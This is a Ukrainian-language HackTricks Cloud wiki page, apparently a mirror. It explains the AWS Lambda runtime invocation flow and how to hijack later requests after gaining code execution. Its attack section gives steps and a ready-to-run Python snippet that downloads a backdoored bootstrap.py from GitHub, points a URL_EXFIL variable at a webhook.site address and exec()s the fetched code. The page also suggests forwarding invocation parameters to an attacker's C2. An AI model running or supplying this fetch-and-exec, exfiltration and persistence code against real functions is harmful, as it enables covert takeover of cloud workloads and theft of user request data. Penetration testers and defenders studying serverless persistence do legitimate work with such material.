mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-12 13:05:19 -08:00
62 lines
5.4 KiB
Markdown
62 lines
5.4 KiB
Markdown
# AWS - Вкрасти запити Lambda
|
||
|
||
{{#include ../../../../banners/hacktricks-training.md}}
|
||
|
||
## Потік Lambda
|
||
|
||
<figure><img src="../../../../images/image (341).png" alt=""><figcaption><p><a href="https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png">https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png</a></p></figcaption></figure>
|
||
|
||
1. **Slicer** - це процес поза контейнером, який **надсилає** **виклики** до процесу **init**.
|
||
2. Процес init слухає на порту **9001**, відкриваючи деякі цікаві кінцеві точки:
|
||
- **`/2018-06-01/runtime/invocation/next`** – отримати наступну подію виклику
|
||
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – повернути відповідь обробника для виклику
|
||
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – повернути помилку виконання
|
||
3. **bootstrap.py** має цикл, що отримує виклики з процесу init і викликає код користувача для їх обробки (**`/next`**).
|
||
4. Нарешті, **bootstrap.py** надсилає до init **відповідь**.
|
||
|
||
Зверніть увагу, що bootstrap завантажує код користувача як модуль, тому будь-яке виконання коду, яке виконується кодом користувача, насправді відбувається в цьому процесі.
|
||
|
||
## Вкрадання запитів Lambda
|
||
|
||
Мета цієї атаки - змусити код користувача виконати шкідливий процес **`bootstrap.py`** всередині процесу **`bootstrap.py`**, який обробляє вразливий запит. Таким чином, **шкідливий bootstrap** процес почне **спілкуватися з процесом init**, щоб обробляти запити, поки **легітимний** bootstrap **потрапить** у пастку, виконуючи шкідливий, тому він не запитуватиме запити у процесу init.
|
||
|
||
Це проста задача, оскільки код користувача виконується легітимним процесом **`bootstrap.py`**. Тому зловмисник може:
|
||
|
||
- **Надіслати підроблений результат поточного виклику до процесу init**, щоб init думав, що процес bootstrap чекає на більше викликів.
|
||
- Запит має бути надісланий до **`/${invoke-id}/response`**
|
||
- invoke-id можна отримати зі стеку легітимного процесу **`bootstrap.py`**, використовуючи модуль [**inspect**](https://docs.python.org/3/library/inspect.html) python (як [пропонувалося тут](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) або просто запитуючи його знову до **`/2018-06-01/runtime/invocation/next`** (як [пропонувалося тут](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
|
||
- Виконати шкідливий **`boostrap.py`**, який оброблятиме наступні виклики.
|
||
- Для цілей прихованості можливо надіслати параметри викликів lambda до C2, контрольованого зловмисником, а потім обробляти запити як зазвичай.
|
||
- Для цієї атаки достатньо отримати оригінальний код **`bootstrap.py`** з системи або [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), додати шкідливий код і запустити його з поточного виклику lambda.
|
||
|
||
### Кроки атаки
|
||
|
||
1. Знайти вразливість **RCE**.
|
||
2. Згенерувати **шкідливий** **bootstrap** (наприклад, [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
|
||
3. **Виконати** шкідливий bootstrap.
|
||
|
||
Ви можете легко виконати ці дії, запустивши:
|
||
```bash
|
||
python3 <<EOF
|
||
import os
|
||
import urllib3
|
||
|
||
# Download backdoored bootstrap
|
||
http = urllib3.PoolManager()
|
||
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
|
||
new_runtime = http.request('GET', backdoored_bootstrap_url).data
|
||
|
||
# Load new bootstrap
|
||
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"
|
||
|
||
exec(new_runtime)
|
||
EOF
|
||
```
|
||
Для отримання додаткової інформації перевірте [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
|
||
|
||
## Посилання
|
||
|
||
- [https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/](https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/)
|
||
|
||
{{#include ../../../../banners/hacktricks-training.md}}
|